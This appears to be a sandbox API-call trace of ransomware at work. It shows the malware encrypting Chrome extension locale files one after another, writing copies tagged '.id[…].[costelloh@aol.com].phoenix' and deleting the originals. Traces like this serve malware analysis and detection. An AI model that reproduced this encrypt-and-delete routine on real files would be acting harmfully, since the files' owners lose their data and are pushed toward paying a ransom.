	[0259.478] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x120, dwBufLen=0x120 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x120) returned 1
	[0259.478] WriteFile (in: hFile=0x2c0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x120, lpOverlapped=0x0) returned 1
	[0259.479] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151480) returned 1
	[0259.479] CryptSetKeyParam (hKey=0x151480, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0259.479] CryptEncrypt (in: hKey=0x151480, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0259.479] CryptDestroyKey (hKey=0x151480) returned 1
	[0259.479] WriteFile (in: hFile=0x2c0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0259.526] CryptDestroyKey (hKey=0x151740) returned 1
	[0259.526] CloseHandle (hObject=0x258) returned 1
	[0259.526] CloseHandle (hObject=0x2c0) returned 1
	[0259.527] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\messages.json")) returned 1
	[0259.528] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0259.528] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0259.528] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=254) returned 1
	[0259.528] CloseHandle (hObject=0x2c0) returned 1
	[0259.528] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\messages.json")) returned 0x20
	[0259.529] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0259.529] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0259.529] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0259.529] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0259.529] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258
	[0259.529] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151300) returned 1
	[0259.530] CryptSetKeyParam (hKey=0x151300, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0259.530] ReadFile (in: hFile=0x2c0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xfe, lpOverlapped=0x0) returned 1
	[0259.531] CryptEncrypt (in: hKey=0x151300, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x100, dwBufLen=0x100 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x100) returned 1
	[0259.531] WriteFile (in: hFile=0x258, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x100, lpOverlapped=0x0) returned 1
	[0259.532] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151340) returned 1
	[0259.532] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0259.532] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0259.532] CryptDestroyKey (hKey=0x151340) returned 1
	[0259.532] WriteFile (in: hFile=0x258, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0259.532] CryptDestroyKey (hKey=0x151300) returned 1
	[0259.532] CloseHandle (hObject=0x2c0) returned 1
	[0259.532] CloseHandle (hObject=0x258) returned 1
	[0259.532] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\messages.json")) returned 1
	[0259.533] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0259.533] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258
	[0259.534] GetFileSizeEx (in: hFile=0x258, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=242) returned 1
	[0259.534] CloseHandle (hObject=0x258) returned 1
	[0259.534] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\messages.json")) returned 0x20
	[0259.534] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0259.534] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258
	[0259.534] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0259.535] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0259.535] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0259.535] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151640) returned 1
	[0259.535] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0259.535] ReadFile (in: hFile=0x258, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xf2, lpOverlapped=0x0) returned 1
	[0259.768] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x100, dwBufLen=0x100 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x100) returned 1
	[0259.768] WriteFile (in: hFile=0x2c0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x100, lpOverlapped=0x0) returned 1
	[0259.769] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1517c0) returned 1
	[0259.769] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0259.770] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0259.770] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0259.770] WriteFile (in: hFile=0x2c0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0259.770] CryptDestroyKey (hKey=0x151640) returned 1
	[0259.770] CloseHandle (hObject=0x258) returned 1
	[0259.770] CloseHandle (hObject=0x2c0) returned 1
	[0259.770] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\messages.json")) returned 1
	[0259.782] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0259.782] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0259.782] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=338) returned 1
	[0259.782] CloseHandle (hObject=0x254) returned 1
	[0259.782] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\messages.json")) returned 0x20
	[0259.782] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0259.782] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0259.782] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0259.783] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0259.783] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0259.783] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151540) returned 1
	[0259.783] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0259.783] ReadFile (in: hFile=0x254, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x152, lpOverlapped=0x0) returned 1
	[0259.785] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x160, dwBufLen=0x160 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x160) returned 1
	[0259.785] WriteFile (in: hFile=0x2c0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x160, lpOverlapped=0x0) returned 1
	[0259.786] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1515c0) returned 1
	[0259.786] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0259.786] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0259.786] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0259.786] WriteFile (in: hFile=0x2c0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0259.833] CryptDestroyKey (hKey=0x151540) returned 1
	[0259.833] CloseHandle (hObject=0x254) returned 1
	[0259.833] CloseHandle (hObject=0x2c0) returned 1
	[0259.833] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\messages.json")) returned 1
	[0259.835] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0259.835] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0259.836] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=268) returned 1
	[0259.836] CloseHandle (hObject=0x2c0) returned 1
	[0259.836] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\messages.json")) returned 0x20
	[0259.836] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0259.836] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0259.836] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0259.836] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0259.836] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0259.837] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151300) returned 1
	[0259.837] CryptSetKeyParam (hKey=0x151300, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0259.837] ReadFile (in: hFile=0x2c0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x10c, lpOverlapped=0x0) returned 1
	[0259.838] CryptEncrypt (in: hKey=0x151300, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x110, dwBufLen=0x110 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x110) returned 1
	[0259.838] WriteFile (in: hFile=0x254, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x110, lpOverlapped=0x0) returned 1
	[0259.839] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1511c0) returned 1
	[0259.839] CryptSetKeyParam (hKey=0x1511c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0259.839] CryptEncrypt (in: hKey=0x1511c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0259.839] CryptDestroyKey (hKey=0x1511c0) returned 1
	[0259.840] WriteFile (in: hFile=0x254, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0259.854] CryptDestroyKey (hKey=0x151300) returned 1
	[0259.854] CloseHandle (hObject=0x2c0) returned 1
	[0259.854] CloseHandle (hObject=0x254) returned 1
	[0259.855] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\messages.json")) returned 1
	[0259.856] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0259.856] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0259.856] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=253) returned 1
	[0259.857] CloseHandle (hObject=0x254) returned 1
	[0259.857] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\messages.json")) returned 0x20
